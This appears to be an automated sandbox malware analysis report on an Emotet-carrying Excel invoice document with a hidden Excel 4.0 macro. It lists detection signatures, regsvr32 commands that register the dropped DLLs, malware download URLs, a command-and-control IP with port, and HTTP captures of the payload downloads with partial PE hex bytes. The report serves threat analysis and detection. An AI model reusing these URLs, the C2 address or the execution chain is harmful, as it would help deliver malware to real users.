Edit tour

Windows Analysis Report
RechnungsDetails.xls

Overview

General Information

Sample Name:	RechnungsDetails.xls
Analysis ID:	632061
MD5:	3264e16e2d21836e4087e76d0943b8b4
SHA1:	525547db03f6c255882476ac9b16c305731b4ad1
SHA256:	30b599f8110f4a5c63bd656e7fe30a405de553e221c48932aa9eaef5625c3b77
Tags:	xls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Abnormal high CPU Usage

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 808 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2688 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2624 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FIdWcB\GulPp.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1136 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2480 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1312 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2360 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2164 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AQbqR\xhDhNsFFy.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 1824 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.1264915905.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.1264216924.00000000003F0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1346182348.0000000000160000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1056224873.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.926879685.00000000002C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1055136020.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.927251205.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1346169156.0000000000140000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.1347032948.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
3.2.regsvr32.exe.2c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.3f0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.2c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.140000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.160000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.160000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.140000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.3f0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 5 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: RechnungsDetails.xls	Virustotal: Detection: 42%			Perma Link
Source: RechnungsDetails.xls	ReversingLabs: Detection: 36%

Antivirus detection for URL or domain

Source: https://173.82.82.196:8080/	URL Reputation: Label: malware
Source: https://www.melisetotoaksesuar.com/catalog/controller/account/dqfKI/	Avira URL Cloud: Label: malware
Source: http://jr-software-web.net/aaabackupsqldb/11hYk3bHJ/	Avira URL Cloud: Label: malware
Source: http://elamurray.com/athletics-carnival-2018/3UTZYr9D9f/	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/	URL Reputation: Label: malware
Source: https://173.82.82.196/(	Avira URL Cloud: Label: malware
Source: https://173.82.82.196/F	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/J	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/N	Avira URL Cloud: Label: malware
Source: https://173.82.82.196:8080/0	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: jr-software-web.net

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	ReversingLabs: Detection: 61%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 39%
Source: C:\Users\user\uxevr2.ocx	Metadefender: Detection: 37%	Perma Link
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 61%
Source: C:\Users\user\uxevr4.ocx	Metadefender: Detection: 25%	Perma Link
Source: C:\Users\user\uxevr4.ocx	ReversingLabs: Detection: 65%
Source: C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	Metadefender: Detection: 25%	Perma Link
Source: C:\Windows\System32\AQbqR\xhDhNsFFy.dll (copy)	ReversingLabs: Detection: 65%
Source: C:\Windows\System32\FIdWcB\GulPp.dll (copy)	ReversingLabs: Detection: 39%
Source: C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	Metadefender: Detection: 37%	Perma Link
Source: C:\Windows\System32\IWNForDwCavadlTU\oACuhBcYqGjSrI.dll (copy)	ReversingLabs: Detection: 61%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr4.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 212.98.224.29:443 -> 192.168.2.22:49173 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 10_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,		10_2_00000001800248B0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\CPZby9k8xhW2TaPgwsAagxTpGuhIkFrK[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\F3DOS06hLF1rUq3s6XOB[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\LjSKxP[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: www.melisetotoaksesuar.com

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 212.98.224.29:443

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 212.98.224.29:443

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View

IP Address: 173.82.82.196 173.82.82.196

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:00:00 GMTServer: ApacheCache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:00:00 GMTContent-Disposition: attachment; filename="F3DOS06hLF1rUq3s6XOB.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b30f095562=1653289200; expires=Mon, 23-May-2022 07:01:00 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 07:00:00 GMTContent-Length: 376320Vary: User-AgentKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ea 8c e5 53 ae ed 8b 00 ae ed 8b 00 ae ed 8b 00 c1 9b 15 00 a4 ed 8b 00 c1 9b 21 00 ce ed 8b 00 a7 95 18 00 a9 ed 8b 00 ae ed 8a 00 cb ed 8b 00 c1 9b 20 00 84 ed 8b 00 c1 9b 10 00 af ed 8b 00 c1 9b 11 00 af ed 8b 00 ae ed 1c 00 ac ed 8b 00 c1 9b 16 00 af ed 8b 00 52 69 63 68 ae ed 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 c5 a2 86 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 60 01 00 00 82 04 00 00 00 00 00 7c 90 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 90 fc 01 00 72 00 00 00 24 f2 01 00 50 00 00 00 00 70 02 00 98 90 03 00 00 50 02 00 3c 12 00 00 00 00 00 00 00 00 00 00 00 10 06 00 d0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 01 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5e 01 00 00 10 00 00 00 60 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 8d 00 00 00 70 01 00 00 8e 00 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 43 00 00 00 00 02 00 00 1c 00 00 00 f2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 3c 12 00 00 00 50 02 00 00 14 00 00 00 0e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 98 90 03 00 00 70 02 00 00 92 03 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 08 00 00 00 10 06 00 00 0a 00 00 00 b4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!Th
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKCache-Control: privatePragma: no-cacheContent-Type: application/x-msdownloadExpires: Mon, 23 May 2022 07:00:53 GMTLast-Modified: Mon, 23 May 2022 07:00:53 GMTServer: Microsoft-IIS/8.5Set-Cookie: 628b312600786=1653289253; expires=Mon, 23-May-2022 07:01:53 GMT; Max-Age=60; path=/Content-Disposition: attachment; filename="LjSKxP.dll"Content-Transfer-Encoding: binaryX-Powered-By: ASP.NETDate: Mon, 23 May 2022 07:00:53 GMTContent-Length: 365056Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /catalog/controller/account/dqfKI/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.melisetotoaksesuar.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /athletics-carnival-2018/3UTZYr9D9f/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: elamurray.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /aaabackupsqldb/11hYk3bHJ/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jr-software-web.netConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49175 -> 173.82.82.196:8080

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196
Source: unknown	TCP traffic detected without corresponding DNS query: 173.82.82.196

Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 0000000A.00000002.1346708597.0000000000411000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en)z(0.
Source: 77EC63BDA74BD0D0E0426DC8F80085060.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000004.00000003.995694661.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1346693049.00000000003F6000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346717284.000000000041A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabme
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346856762.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346675258.00000000003C5000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000002.1346901420.0000000002688000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1346897623.0000000002ABD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
